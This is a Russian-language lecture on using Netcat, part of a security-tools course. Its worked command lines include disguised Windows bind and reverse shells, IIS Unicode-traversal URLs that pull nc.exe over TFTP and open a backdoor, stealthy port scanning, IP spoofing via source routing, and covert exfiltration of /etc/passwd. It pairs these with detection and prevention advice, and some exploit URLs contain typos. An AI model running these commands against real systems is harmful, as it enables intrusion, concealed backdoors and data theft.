Инструментальные средства обеспечения безопасности

         

Способ использовать Netcat


Люди нашли сотни способов использования Netcat в решении ежедневных задач. Многие из этих задач похожи, отличаясь лишь незначительными деталями. Мы постарались привести некоторые из них, наиболее общие и охватывающие большее число возможностей применения программы. Здесь приведены наиболее важные с нашей точки зрения способы применения Netcat.



CRYPTCAT


Criptcat - это всего лишь созвучие, образованное примерно так: Netcat с шифрованием (netcat with encryption). Теперь вы можете шифровать созданные конвейеры, прокси и релеи. Взломщики могут скрывать порождаемый Netcat трафик так, что внимательным системным администраторам понадобится нечто большее, чем просто прослушивать сеть, чтобы понять, что происходит.

Cryptcat использует расширенную версию протокола шифрования Twofish. Аргументы командной строки у него те же, что и у Netcat. Естественно, не самая лучшая мысль использовать Cryptcat для сканирования портов или попыток соединения с системными службами, которые не используют тот же самый метод шифрования. Но при использовании Netcat в режиме прослушивания на одном конце, и еще одного для попыток соединения с ним, Cryptcat может предложить некоторые удобства, связанные с обеспечением безопасности соединения.

Вы можете загрузить Cryptcat по адресу http://farm9.com/.

<

Идентифицируйте себя, и службы расскажут о себе все


Использовав Netcat или специально предназначенную для сканирования портов программу (вроде nmap, см. лекцию "Сканеры портов") для определения, какие порты в системе открыты, вы можете получить более подробную информацию об этих портах. Обычно это можно сделать, подключившись к порту; служба немедленно сообщит вам номер версии, экземпляр и, возможно, сведения об управляющей операционной системе. В результате вы получите возможность использовать Netcat для сканирования определенного интервала портов и получения сведений о работающих службах.

Имейте в виду, что, используя Netcat в автоматическом режиме, вы не сможете вводить команды в командной строке, поскольку программа не ожидает ввода информации от пользователя на стандартный ввод. Если вы просто запустите на выполнение команду nc 192.168.1.100 20-80, вы не сможете ничего узнать, поскольку программа остановится на первом же установленном соединении (возможно, это будет web-сервер, прослушивающий 80 порт) и затем будет ожидать, когда вы что-либо сделаете. Так что вам понадобится вычислить, что подавать на вход всем этим службам, чтобы вынудить их сообщить нам о себе нечто большее. Как только вы это сделаете, передав службе команду QUIT и внеся путаницу, информация посыплется на вас, как бобы из корзинки.

[root@originix nc]#echo QUIT | ./nc -v 192.168.1.100 21 22 80 originix [192.168.1.100] 21 (ftp) open 220 originix FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready. 221 Goodbye originix [192.168.1.100] 22 (ssh) open SSH-2.0-OpenSSH_2.3.0p1 Protocol mismatch. originix [192.168.1.100] 80 (www) open <!Doctype HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>501 Method Not Implemented</TITLE> </HEAD><BODY> <H1>Method Not Implemented</H1> QUIT to /index.html not supported.<P> Invalid method in request QUIT<P> <HR> <ADDRESS>Apache/1.3.14 Server at 127.0.01 Port 80</ADDRESS> </BODY></HTML> [root@originix nc]# Совет. Помните, что когда вы автоматически подключаетесь к нескольким портам, используйте опцию -v, чтобы можно было отделить вывод сообщений одной службы от другой.
Также, если вы используете автоматическое соединение с несколькими портами, один из которых telnet-сервер, вам следует использовать опцию -t, чтобы пропустить передаваемую двоичную информацию (следствие взаимодействия telnet-сервера с клиентом). Обычно хорошим выходом является пропустить 23 порт и работать с ним отдельно.

Полученный результат не слишком красив, но мы узнали о версиях трех работающих служб. Взломщик может использовать информацию для поиска версий, имеющих слабые места (http://www.securityfocus.com/ - прекрасное место для поиска информации о слабых местах разных версий программ). Взломщик, который нашел привлекательный с его точки зрения порт, может попытаться получить больше информации о нем, сосредоточившись на исследовании этой службы и попытавшись говорить на ее языке.

Сосредоточимся на web-сервере Apache. QUIT - команда, которую протокол HTTP не понимает. Попытаемся сказать что-нибудь более подходящее.

[root@originix nc]#./nc -v 192.168.1.100 80 originix [192.168.1.100] 80 (www) open GET / HTTP HTTP/1.1 200 OK Date% Tue, 12 Feb 2002, 09:43:07 GMT Server: Apache/1.3.14 (Unix) (Red-Hat/Linux) Last Modified: Sat, 05 Aug 2000 04:39:51 GMT Etag: "3a107-24-398b9a97" Accept-Ranges: bytes Content-Length: 36 Connection: Close Contebt-Type: text/html I don't think you mean to go here. [root@originix nc]#

Какая прелесть! Мы сказали коротенькую HTTP-фразу (набрав команду GET/HTTP и затем дважды нажав клавишу Enter) и Apache ответил. Он показал нам корневой файл index.html и все HTTP заголовки в нетронутом виде без преобразований, которые обычно выполняют браузеры на прикладном уровне. Заголовки сервера сообщили нам не только то, что мы имеем дело с сервером Apache на Unix-машине, но и то, что это машина находится под управлением Red-Hat.

Совет. Чтобы ввести в заблуждение взломщика, системный администратор может изменить эту информацию. Это не так просто, но неизменно приводит взломщиков в изумление, если, конечно, они доверяют получаемой информации.


Командная строка




Командная строка для Netcat выглядит как nc [options] host ports, где host - имя хоста или его IP-адрес для поиска, а ports - это или номер порта, или диапазон номеров портов (определяемый "m-n"), или несколько номеров портов разделенных пробелами.

Теперь вы полностью готовы посмотреть на те поразительные вещи, которые можно проделать с помощью Netcat. Внимательно присмотримся к каждой из опций командной строки, чтобы получить общие представления о возможностях.

-d. Доступна только в Windows. Переводит Netcat в режим невидимки. Можно запустить программу в режиме прослушивания, не открывая окно режима MS-DOS. Это также позволяет взломщикам лучше маскировать работающую программу от системных администраторов.-e <command>. Если Netcat скомпилирован с опцией GAPING_SECURITY_HOLE, программа может выполнять команду <command> всякий раз, когда кто-либо устанавливает соединение с прослушиваемым портом, до тех пор, пока клиент Netcat перенаправляет ввод/вывод работающей программе. Использовать эту опцию достаточно опасно, если вы не до конца представляете себе, что вы делаете. Это быстрый и простой способ открыть "черный ход" в вашу систему. Пример будет приведен далее.-i <seconds>. Интервал задержки между пересылками порций данных. Если через конвейер Netcat проходит файл, то программа ждет <seconds> секунд перед тем, как передать следующую строку, поступившую на вход. Если вы используете Netcat для управления нескольким портами на одном хосте, Netcat ждет <second> секунд перед тем, как соединится со следующим портом из перечисленных в строке. Это дает возможность немного замаскировать передачу данных или атаку системной службы, и это позволяет замаскировать сканирование портов от некоторых программных средств, анализирующих попытки внедрения, и от системных администраторов.-g <route-list>. Использование этой опции может быть весьма нетривиальным. Netcat поддерживает возможность маскировки начала маршрутизации (более подробно обсуждается в разделе "Создайте друга: подмена IP-адресов").
Вы можете определить до восьми -g опций в командной строке, чтобы заставить Netcat передавать трафик через определенные IP-адреса, которые обычно используются в случае, если вы подменяете исходящий IP-адрес, с которого поступает ваш трафик (например, для того, чтобы попытаться преодолеть брандмауэр или проверку разрешенных для доступа хостов). Используя этот прием на машине, с которой вы осуществляете управление процессом, вы можете заставить предаваемые пакеты возвращаться по указанному вами адресу вместо продвижения их по реальному направлению. Заметьте, что это обычно не срабатывает, поскольку большинство маршрутизаторов игнорируют опции источника маршрутизации, а многие фильтры и файрволы протоколируют такие попытки.-G <hop pointer>. Эта опция позволяет внести изменения в список маршрутизации, определенный параметром -g с тем, чтобы определить, к какому из адресов переходить. Поскольку IP-адрес - это четырехбайтовое число, этот аргумент всегда представляет собой число, кратное четырем, где 4 означает первый IP-адрес в списке, 8 - второй и так далее. Эта опция обычно используется в том случае, если вы пытаетесь так подделать список маршрутизации, чтобы он выглядел, как будто пакеты приходят откуда-то из другого места. Пропуская первые два IP-адреса, прописанные в списке, определенном опцией -g, и указав в параметре -G число 12, вы определите маршрутизацию пакетов непосредственно на третий адрес в вашем списке маршрутизации. Реальное содержание пакета по-прежнему будет содержать IP-адреса, которые были пропущены, создавая видимость, что пакеты пришли с одного адреса, тогда как на самом деле они пришли откуда-то еще. Этот прием позволяет скрыть, отку да вы пришли на хост, при использовании подмены адресов или списк а маршрутизации, но не факт, что у вас будет возможность получить ответ, поскольку он будет передаваться обратно по маршруту через ваши поддельные IP-адреса.-l. Эта опция переключает режим "прослушивания" Netcat. Она используется совместно с опцией -p, чтобы привязать Netcat к определенному TCP-порту и ожидать входящих соединений.


Чтобы использовать UDP-порт, воспользуйтесь опцией -u.-L. Доступная только в Windows- версии программы, более жесткая опция режима "прослушивания", чем -l. Она указывает программе на необходимость перезапуска с теми же параметрами в случае, если соединение было закрыто. Это дает Netcat возможность отслеживать последующие соединения без вмешательства пользователя, каждый раз после завершения первоначального соединения. Как и в случае с опцией -l, эту опцию необходимо использовать совместно с опцией -p. -n сообщает Netcat, что не нужно осуществлять поиск каких-либо хостов. Если вы используете эту опцию, не следует указывать никаких имен хостов в качестве аргументов.-o <hexfile> обеспечивает создание шестнадцатеричного дампа данных и сохранение его в файле hexfile. Команда nc -o hexfile записывает данные, проходящие в обоих направлениях, и начинает каждую строку с символов < или > для обозначения соответственно входящих или исходящих данных. Чтобы записывать в файл только входящие данные, вам следует использовать команду nc -o <hexfile. Соответственно для записи только исходящих данных воспользуйтесь командой nc -o >hexfile.-p <port>. Опция позволяет вам определить локальный номер порта, который следует использовать Netcat. Этот аргумент требуется в случае, если вы используете опции -l или -L для режима прослушивания. Если эта опция не определена для исходящего соединения, Netcat будет использовать порт, который определен для этого в системе, что и делают большинство TCP или UDP клиентов. Имейте в виду, что в Unix-системах только пользователь root может определять номера портов меньше чем 1024.-r. Netcat выбирает локальный и удаленный порт случайным образом. Эта опция полезна в случае, когда Netcat используется для получения информации о большом интервале номеров портов в системе и при этом представить ситуацию так, чтобы это было в меньшей степени похоже на процедуру сканирования портов. В случае если эта возможность используется совместно с опцией -i и с достаточно большим интервалом, то велика вероятность, что сканирование портов не будет обнаружено без внимательного изучения системного журнала администратором. -s определяет исходящий IP-адрес, который Netcat использует для установки соединения.


Эта опция позволяет взломщикам выполнять несколько изящных фокусов: скрыть свой IP-адрес или подделать что-либо еще. Но чтобы получить информацию, отправляемую на подмененный адрес, им необходимо использовать опцию определения порядка маршрутизации -g. Далее, используя режим прослушивания, вы можете многократно привязываться к уже прослушанному сервису. Все TCP- и UDP-сервисы работают с портами, но не каждый из них работает с конкретным IP-адресом. Многие службы по умолчанию прослушивают все доступные интерфейсы. Syslog, к примеру, прослушивает UDP-порт 514 для считывания трафика syslog. В то же время, если вы запустили Netcat на прослушивание 514 порта и использовали опцию -s для определения исходящего IP-адреса, любой трафик, проходящий через определенный вами IP-адрес, в первую очередь будет направляться через Netcat. Почему? Если сокет определяет и IP-адрес, и номер порта, это определяет его приоритет над сокетом, который не определяет обоих параметров. Позже мы расскажем об этом подробнее и продемонстрируем, как определить, какой сервис в системе может быть определен заранее.-t. Откомпилированный с опцией TELNET, Netcat может поддерживать взаимодействие с telnet-сервером в соответствии с установленными соглашениями, отвечая незначащей информацией, но дает вам возможность ввести информацию в ответ на приглашение ввести login, когда вы используете TCP-соединение по 23 порту.-u. Опция сообщает программе о необходимости использовать UDP-протокол вместо TCP, работая как в режиме прослушивания, так и в режиме клиента.-v определяет, насколько подробно программа информирует вас о том, что она делает. Если не использовать опцию -v, Netcat выдает только принятую информацию. Если опция -v использована один раз, вы сможете узнать, с каким адресом произошло соединение или какой адрес отслеживается в случае, если возникли какие-то проблемы. Повторное использование опции позволит узнать, какое количество данных было послано или принято до завершения соединения.-w <seconds> определяет промежуток времени, в течение которого Netcat ждет соединения.Этот параметр также сообщает, как долго следует ожидать после получения сигнала EOF (конец файла) на стандартный вход перед разрывом соединения и завершением работы. Это особенно важно, если вы посылаете команды удаленному серверу с использованием Netcat и ожидаете получить большой объем информации (к примеру, посылая веб-серверу HTTP команду на загрузку большого файла).-z. Если вы беспокоитесь только о том, чтобы определить, какой из портов открыт, вам следует использовать nmap (см. лекцию "Сканеры портов"). Но эта опция сообщает Netcat о необходимости послать достаточно данных для поиска открытых портов в заданном диапазоне значений.

Теперь, когда у вас появилось представление о возможностях Netcat, познакомьтесь с несколькими примерами использования этой программы в реальной жизни.


NETCAT


Netcat устанавливает и поддерживает TCP (Transmission Control Protocol) и UDP (User Datagram Protocol) соединения, читает и записывает данные по этим соединениям до тех пор, пока они не будут закрыты. Это основа работы сетевой подсистемы TCP/UDP, которая позволяет пользователям взаимодействовать по сети с помощью команд или скриптов с сетевыми приложениями и службами на прикладном уровне. Программа дает возможность увидеть пакеты TCP и UDP данных до того, как они будут упакованы в соответствии с протоколами более высокого уровня, такими как FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol), или HTTP (Hypertext Transfer Protocol).

Примечание. Технически Netcat не устанавливает UDP-соединение, поскольку UDP-протокол работает и без него. В этой лекции, говоря о UDP-соединении, используемом Netcat, мы говорим об использовании Netcat в режиме UDP для того, чтобы начать передачу данных службе UDP, которая передает их принимающей стороне.

Netcat не делает ничего выдающегося. У этой программы нет красивого графического интерфейса пользователя (GUI), и она не выводит данные в виде красивого отчета. Но поскольку Netcat работает на таком базовом уровне, то он удобен для использования во многих ситуациях. Так как Netcat должен использоваться в паре с какими-либо еще программами или техническими приемами, неопытному пользователю его роль может показаться слишком преувеличенной. Управлять из командной строки файлом Readme новичку тоже довольно сложно. Тем не менее, к концу этой лекции вы увидите, что Netcat может стать одним из наиболее используемых инструментов в вашем арсенале.



Незаметное сканирование портов


Поскольку Netcat может опрашивать диапазон портов, вероятно использование его для их сканирования. Вы сразу захотите установить соединение с большим количеством портов на контролируемом хосте.

[root@originix nc]#./nc target 20-80

Но это не сработает. Запомните, что Netcat не предназначен специально для сканирования портов. В указанной ситуации Netcat соединится с 80-м портом, и будет пытаться установить TCP-соединение до тех пор, пока не дождется ответа. Как только по этому порту придет ответ, Netcat будет ожидать получения информации по стандартному входу, установленному перед соединением. Это не совсем то, чего вы добивались.

Решением будет опция -z. Эта опция указывает программе на необходимость передать минимальное количество данных для получения ответа от открытого порта. Используя эту опцию, не следует ожидать от Netcat получения каких-либо данных на вход или ждать вывода какой либо информации (таким образом вы заставите перейти программу в режим "нулевого ввода/вывода"). Поскольку опция -v дает возможность получать более подробную информацию о работе программы, вы можете использовать ее для просмотра результатов сканирования портов. Иначе вы ничего не увидите.

[root@originix nc]#./nc -z 192.168.1.100 20-80 [root@originix nc]#./nc -v -z 192.168.1.100 20-80 originix [192.168.1.100] 80 (www) open originix [192.168.1.100] 23 (telnet) open originix [192.168.1.100] 22 (ssh) open originix [192.168.1.100] 21 (ftp) open [root@originix nc]#

Использовав опцию -v, вы увидите, что несколько наиболее очевидных сервисов работают в заданном промежутке номеров TCP-портов. Как это будет выглядеть в системном журнале?

Feb 12 03:50:23 originix sshd[21690]: Did not receive ident string from 192.168.0.105 Feb 12 03:50:23 originix telnetd[21689]: ttloop: read: Broken pipe Feb 12 03:50:23 originix ftpd[21691]: FTP session closed

Обратите внимание, что все эти события произошли в одно время и с увеличивающимися идентификаторами процессов (от 21689 до 21691). Представьте, если бы вы сканировали больший интервал портов.
Вы получили бы существенно больший объем вывода. К тому же некоторые службы, такие, как sshd, ведут себя весьма молчаливо по отношению к сканерам IP-адресов.

Всякий раз, когда вы делаете попытку сканирования портов, по которым ничего не проходит, в большинстве сетей есть системы обнаружения попыток вторжения, которые немедленно отмечают этот вид активности в сети и сообщают об этом системному администратору. Некоторые брандмауэры могут автоматически блокировать IP-адрес, если от него за короткий промежуток времени исходит большое количество запросов на соединение.

Netcat позволяет производить сканирование достаточно незаметно. Вы можете использовать опцию -i и задать интервал для попыток соединения. Использование опции -r для задания случайной последовательности сканирования портов из выбранного интервала также поможет замаскировать вашу деятельность по сканированию портов.

./nc -v -z -r -i 42 192.168.1.100 20-80

Эта командная строка определяет случайную последовательность выбора портов и задает интервал в 42 секунды между попытками соединения. Это введет в заблуждение любые автоматические средства защиты, но свидетельства попыток сканирования все равно останутся в системном журнале исследуемого хоста; правда в более разбросанном виде.

Совет. Сканирование UDP-портов проблематично. Netcat опирается на получение сообщений об ошибках от ICMP (Internet Control Message Protocol) для того чтобы определить - открыт или закрыт UDP-порт. Если ICMP блокирован брандмауэром или фильтром, то Netcat может выдать ложное сообщение о том, что закрытый UDP-порт якобы открыт.

Netcat - не самый подходящий инструмент для сканирования портов. Поскольку он может использоваться для решения общих задач значительно лучше, чем для решения конкретных, возможно, вам следует использовать для сканирования инструмент, созданный специально для этого.

Совет. Если вы, при попытке сканирования с помощью Netcat, получили сообщение об ошибке в отношении адреса, который уже используется, возможно, вам необходимо зафиксировать Netcat для использования с конкретным IP-адресом и конкретным портом (используя опции -p -s).Выберите порт, о котором известно, что его можно использовать (только пользователь root может использовать порты с номерами меньше чем 1024) и это ничем не ограничено.


Получение удаленного доступа к командной оболочке


Хотели бы вы получить доступ к командной строке MS-DOS домашнего компьютера из любой точки земного шара? Запустив команду nc.exe -l -p 4455 -e cmd.exe из командной строки MS-DOS на NT или Windows 2000, любой присоединившийся с помощью telnet к порту 4455 на этом компьютере получит в свое распоряжение DOS-оболочку, без необходимости вводить идентификатор и пароль.

[root@originix /root]# telnet 192.168.1.101 4455 Trying 192.168.1.101 : Connected to 192.168.1.101 Escape character is '^]'. Microsoft Windows 2000 [Version 5.00.2195] © Copyright 1985-2000 Microsoft Corp. C:\> Connection closed by foreign host. [root@originix /root]#

Неплохо сделано! Это к тому же выглядит страшновато. Приложив незначительные усилия, вы получили доступ к командной строке системы. Конечно, в Windows 2000 или NT у вас будут такие же привилегии, как у пользователя, запустившего Netcat. Но такой способ проникновения в Windows 95 и 98 (используя command.com вместо cmd.exe) позволит вам управлять всей машиной без ограничений. Этот пример демонстрирует, насколько может быть опасен Netcat в чужих руках.

Примечание. Netcat демонстрирует чрезвычайно неустойчивую работу под управлением Windows 95 и 98, особенно после многократного запуска.

Попробуем что-нибудь сделать с помощью этой команды. Имейте в виду, что Netcat по умолчанию выполняется внутри того окна DOS, в котором запускается. Это означает, что окно управления командной строкой должно оставаться открытым все время, пока работает Netcat. Использование опции -d для отсоединения от командной строки должно позволить выполняться программе даже после того, как окно поддержки командной строки будет закрыто.

C:\> nc.exe -l -p 4455 -d -e cmd.exe

Это делает работу по маскировке "черного хода", созданного с использованием Netcat, более качественной. Однако если кто-нибудь соединится с портом 4455 с помощью telnet, то, как только клиент разорвет соединение, Netcat выполнит команду и прекратит "прослушивание". Используйте опцию -L вместо -l, чтобы сохранить режим прослушивания после того, как первое соединение будет завершено.


C:\> nc.exe -p 4455 -d -L -e cmd.exe

Это позволяет взломщику возвращаться в систему до тех пор, пока системный администратор не обнаружит работающую программу (nc.exe) в списке выполняющихся задач. Взломщик, правда, может подумать и об этом и переименовать nc.exe как-нибудь так:

C:\>move nc.exe c:\Windows\System32\Drivers\update.exe C:\>Windows\System32\Drivers\update.exe -p 4455 -d -L -e cmd.exe

Системный администратор может не обратить внимания на файл update.exe - это может быть все, что угодно. Взломщик также может скрыть командную строку. Еще одной возможностью Netcat является то, что если вы запускаете его без опций в командной строке, то программа ожидает получения командной строки в первой строчке стандартного ввода.

C:\>Windows\System32\Drivers\update.exe Cmd line: -p 4455 -d -L -e cmd.exe C:\>

Теперь, если системный администратор выполнит команду netstat -a -n в командной строке, то сможет заметить, что нечто выполняется на ранее незанятом порту, присоединиться к порту с использованием telnet и раскрыть фокус. Однако Windows использует множество случайных портов по разному поводу, и вывод программы netstat потребует много времени для анализа, особенно в интенсивно используемой системе.

Взломщик может пытаться использовать различные возможности. Если он, к примеру, проник через сервер Citrix, получил доступ к большому числу пользователей, которые бродили по интернету, то сможет увидеть большое количество запросов к системе DNS (Domain Name System) и интернет-соединений. Выполненная команда netstat -a -n показала бы много исходящих TCP-соединений по 80 порту. Вместо того чтобы запускать экземпляр Netcat на прослушивание на Windows машине и ожидать соединения, Netcat может перенаправлять входной и выходной потоки программы cmd.exe другому экземпляру Netcat, выполняющемуся на другой машине и прослушивающему 80 порт. В этом случае взломщик захочет выполнить следующее:

[root@originix/root]# nc -l -p 80

На Windows-машине взломщик естественно пожелает скрыть присутствие Netcat следующим образом:



C:\>mkdir c:\Windows\System32\Drivers\q C:\>move nc.exe c:\Windows\System32\Drivers\q\iexplore.exe C:\>cd c:\Windows\System32\Drivers\q c:\Windows\System32\Drivers\q>iexplore.exe Cmd line -d -e cmd.exe originix 80 c:\Windows\System32\Drivers\q>

Теперь Netcat в режиме "прослушивания" должен контролировать командный интерпретатор на Windows машине. Такой подход поможет лучше выполнить работу по маскировке "черного хода" от системного администратора. На первый взгляд соединение будет выглядеть всего лишь, как безобидное HTTP-соединение интернет-броузера. Взломщика может расстраивать только то, что после завершения работы командного интерпретатора у него нет никаких способов перезапустить процесс на Windows машине.

Есть несколько способов, с помощью которых системный администратор может обнаружить проникновение с использованием Netcat.

Использовать утилиту поиска файлов Windows для поиска файлов, содержащих строки "listen mode", или "inbound connection". Любой из найденных исполняемых модулей может оказаться программой Netcat.Проверять список активных процессов на предмет поиска любых непонятно зачем выполняемых файлов cmd.exe. За исключением случаев, когда взломщик переименовал cmd.exe, вы сможете поймать его на использовании удаленного выполнения команд, поскольку cmd.exe будет выполняться так, что вы не сможете получить к нему доступ.Использовать команду netstat ("Системные средства с открытым программным кодом: основы") или fprot (лекции "Компоновка и использование набора инструментов для расследования хакерских атак, то есть для "живого ответа" в системе Windows"), чтобы увидеть, какие порты используются в настоящее время и какие приложения их используют. Тем не менее, будьте осторожны с использованием netstat. Netstat может быть легко заменен его "троянской" версией, специально созданной взломщиком для скрытия своей деятельности. Netstat также иногда не сообщает о прослушивании TCP-сокетов до тех пор, пока кто-нибудь не соединится с ним.



Сейчас вы познакомились с двумя способами получения удаленного доступа к программному интерпретатору Windows-машины. Очевидно, на успех операции могут повлиять брандмауэры, фильтрация портов, прокси-серверы, которые фактически осуществляют фильтрацию заголовков HTTP-пакетов.

К использованию этих двух способов подталкивала уязвимость двух компонент популярного web-сервера Internet Information Server (IIS) 4.0 - Microsoft Data Access Components (MDAC) и кодировки Unicode. Способов много, но во всех случаях используются те прорехи в безопасности, которые позволяют выполнять команды на машине под видом пользователя IIS, обращаясь к нему со специально созданными URL. Этот метод могут использовать программы типа TFTP (Trivial File Transfer Protocol), если таковые установлены на машине, загружая модуль nc.exe с удаленной машины и выполняя одну из команд для организации черного хода. Ниже приведен пример такой URL-строки, которая позволяет использовать TFTP для скачивания Netcat с удаленной машины, "благодаря" уязвимости Unicode-кодировки.

http://10.10.0.1/scripts/%c1%pc/../winnt/system32/cmd.exe?/ c+tftp%20-i%20originix%20GET%20nc.exe%20update.ese

Если повезет, эта команда позволит скачать Netcat на хост с адресом 10.10.0.1 в директорию Inetpub\Scripts под именем update.exe. Затем взломщик сможет запустить Netcat, используя другую строку URL.

http://10.10.0.1/scripts/%c1%pc/../inetpup/scripts/ update.exe?-l%20-d%20-L%20-p%20443%20-e%20cmd.exe Примечание. В приведенных выше строках URL web-сервер воспринимает комбинацию символов %20 как пробел.

Соединение с портом 443 по протоколу Telnet позволяет исполнять команды на удаленной машине. Это весьма простой и эффективный способ атаки удаленной машины, и к тому же он может быть автоматизирован. Однако этот вид атаки оставляет следы. Во-первых, все URL-запросы, которые были использованы, сохраняются в системном журнале IIS. Просматривая журнал на предмет наличия в нем строк, содержащих комбинацию символов tftp, вы можете обнаружить момент, когда кто-то пытался провести такую атаку.К тому же, большинство текущих версий IDS могут просматривать содержимое строк URL, форматированных аналогичным образом (к примеру, на предмет включения в них строк cmd.exe или спецсимволов Unicode).

Вы можете предупредить такие атаки.

Убедитесь, что ваш IIS выполняется с использованием обновленной версии системы безопасности.Заблокируйте соединения, исходящие с вашего сервера, настройками брандмауэра. В большинстве случаев ваш web-сервер не нуждается в установке соединений с внешним миром. Даже если ваша версия IIS уязвима, действие TFTP бесполезно из-за невозможности ответного соединения.


Прокси и релей


Вы можете использовать тот же самый прием, что и в предыдущем разделе, для создания прокси или релея на базе Netcat. Netcat в режиме прослушивания может быть использован для запуска вторичного Netcat-соединения, соединенного с другим хостом или портом, осуществляя тем самым релей.

Использование этой возможности требует некоторых навыков написания скриптов. Поскольку с помощью опции -e Netcat может выполнить только одну команду (без аргумента в командной строке), вам потребуется упаковать все команды, которые вы хотите выполнить, в скрипт. С помощью такого подхода вы можете сделать интересную штуку, создав релей, который охватывает несколько разных хостов. Этот прием можно использовать для создания сложного "туннеля", давая возможность взломщикам осложнить выслеживание их системным администратором.

Эта возможность с таким же успехом может быть использована в благих целях. Возможность релея позволяет использовать Netcat, как прокси для web-страниц. Запустите его на прослушивание 80-го порта на другой машине и дайте возможность осуществлять все ваши web-соединения (используя скрипт) и передавать их далее.



Реализация


Поскольку у Netcat так много способов применения, его часто сравнивают со "Швейцарским армейским ножом" для работы с TCP/IP и UDP протоколами. Прежде, чем вы сможете изучить, как пользоваться этой программой, придется загрузить и установить ее.



Сделай сам


Архив исходных текстов Netcat сопровождается несколькими командными скриптами и C-программами, демонстрирующими большинство возможных способов использования Netcat. При наличии некоторого опыта в программировании вы сами сможете изучить многие возможности Netcat. Обратите внимание на файлы RAEDME, которые так же, как и примеры, расположены в директориях DATA и SCRIPTS. Они натолкнут вас на мысли о том, что еще можно попробовать.



Создайте друга: подмена IP-адресов


Подмена IP-адресов сродни волшебству. Вы можете часто слышать, - "Как мы можем знать, настоящий ли этот IP-адрес? Что, если он подменил его?" На самом деле, подменить IP-адрес не так-то легко.

Возможно, следует перефразировать сказанное. Подмена IP-адресов - дело простое. Брандмауэры, которые осуществляют маскировку или трансляцию сетевых адресов (NAT), подменяют IP-адреса на постоянной основе. Эти устройства могут получать пакты от внутренних IP-адресов, заменять исходные IP-адреса в пакетах на свой собственный адрес, посылать их вовне и отменять модификацию, когда получают данные назад извне. Таким образом менять содержание исходных IP-адресов в IP-пакетах достаточно просто. Что на самом деле сложно, так это иметь возможность получать ответ, посланный на подменный IP-адрес.

В Netcat есть опция -s, позволяющая определить тот IP-адрес, который нужно. Некто имеет возможность начать сканирование портов и использовать опцию -s, подстроив дело так, будто сканирование ведет компания Microsoft или Федеральное Бюро Расследований. Проблема возникает, однако, если вы в действительности хотите получить ответ от сканируемых портов на реальный IP-адрес. Поскольку исследуемый хост получает запросы от фирмы Microsoft, к примеру, он будет посылать уведомления о получении на тот же IP-адрес Microsoft. IP, конечно, не имеет представления, о чем сообщает ему исследуемый хост и пошлет ему отказ в соединении. Как добиться возврата информации на реальный IP-адрес, не опасаясь попасться?

Помочь взломать машину может также опция, определяющая порядок маршрутизации. Порядок маршрутизации позволяет сетевым приложениям определить маршрут, по которому вы хотели бы достичь конечной точки.

Порядку маршрутизации присущи две вещи: строгость и неопределенность. Строгость порядка маршрутизации означает, что в пакете должны определяться все закоулки определенного маршрута до конечного хоста. Некоторые маршрутизаторы и сетевые устройства пока позволяют строгий порядок маршрутизации, а некоторые должны позволять неопределенный порядок маршрутизации.
Неопределенный порядок маршрутизации сообщает маршрутизаторам и сетевым устройствам, что они могут определять маршрут до конечной точки самостоятельно, но при этом пакеты обязательно должны пройти через определенный набор маршрутизаторов на пути к конечной точке. Это представляет определенную опасность, поскольку позволяет взломщику пересылать пакеты через машину, которую он контролирует (возможно, это машина изменяет IP-адреса входящих пакетов на что-нибудь еще). Когда ответ возвращается, он проходит по тому же самому нестрогому маршруту и приходит обратно через ту же машину (которая восстанавливает истинный IP-адрес). Благодаря этому способу задания порядка маршрутизации, возникает возможность атакующему подменить IP-адрес и при этом получить ответ от атакуемой машины. Большинство маршрутизаторов игнорируют параметры порядка маршрутизации, но не все. Опция -g Netcat позволяет определить до 8 точек, которые должен пройти пакет до того момента, как попадет в конечную точку. К примеру, команда

nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 10.10.9.50 23

определяет telnet соединение по 23 порту с адресом 10.10.9.50, но если опция порядка маршрутизации включена на промежуточных маршрутизаторах, то трафик будет принудительно маршрутизироваться через четыре указанных адреса, прежде чем достигнет конечной точки. Если мы попытаемся выполнить команду

nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 -G 12 10.10.9.50 23

, то определим точку для прохода трафика с использованием параметра -G. Параметр -G устанавливает значение в n байт (в данном случае двенадцать), и поскольку IP-адреса занимают каждый по 4 байта, точка входа устанавливается на адрес 10.10.7.4. Таким образом, на пути к машине 10.10.9.50, трафик должен пройти только через последние две машины (так как в соответствии с установками мы уже пропустили первые две). Тем не менее, на обратном пути пакет должен пройти через все четыре машины.

Если ваши маршрутизаторы и сетевые устройства не могут быть настроены так, чтобы игнорировать заданный порядок маршрутизации, следует надеяться, что ваша система обнаружения вторжений (IDS) сохранит вас от них (коротко IDS мы рассмотрим в лекции "Анализаторы сетевых потоков (Sniffer)").Любой, кто может запустить анализатор трафика вроде Ethereal, может легко обнаружить факт использования задания порядка маршрутизации, поскольку раздел параметров в IP-заголовке будет больше обычного, и IP-адреса в списке маршрутизации будут хорошо видны, если воспользоваться ASCII-декодером. Если это важно для системного администратора, он может проследить хозяина каждого IP-адреса в списке, чтобы найти преступника.


Создание конвейеров данных: создай собственный FTP


Netcat позволяет создавать конвейеры данных. Какую выгоду можно извлечь из этой возможности?

Передача данных через фильтры. Подав входной и выходной файлы на оба конца конвейера, вы можете пересылать или копировать файлы из одной сети в другую, не используя никаких "официальных" протоколов передачи файлов. Если у вас есть доступ к программному интерпретатору на компьютере, но нет возможности запустить какой либо способ передачи файлов из-за того, что с использованием фильтров заблокированы возможности FTP, NFS (Network File System), или Samba, у вас есть выбор.

На стороне, где находится исходный файл, запустите команду:

nc -l -u -p 55555 < file_we_want

А на стороне клиента попытайтесь выполнить:

nc -u -targethost 55555 > copy_of_file

Осуществив соединение, можно немедленно передать файл. Закончив передачу с помощью команды EOF (CTRL-C), вы получите свой файл в целости и сохранности.

Скрытая передача файлов. Взломщики могут использовать Netcat для передачи файлов вовне системы, не используя для этого способы, доступные для контроля. В то время как использование FTP или Secure copy (scp) оставляет следы в системном журнале, Netcat - нет.

nc -l -u -p 55555 < /etc/passwd

Когда взломщик соединяется с этим UDP-портом, то похищает файл /etc/passwd, не оставляя никаких следов (исключая случай, когда в тот же момент системный администратор выполнит команду ps (статистика выполняемых процессов) или команду netstat).

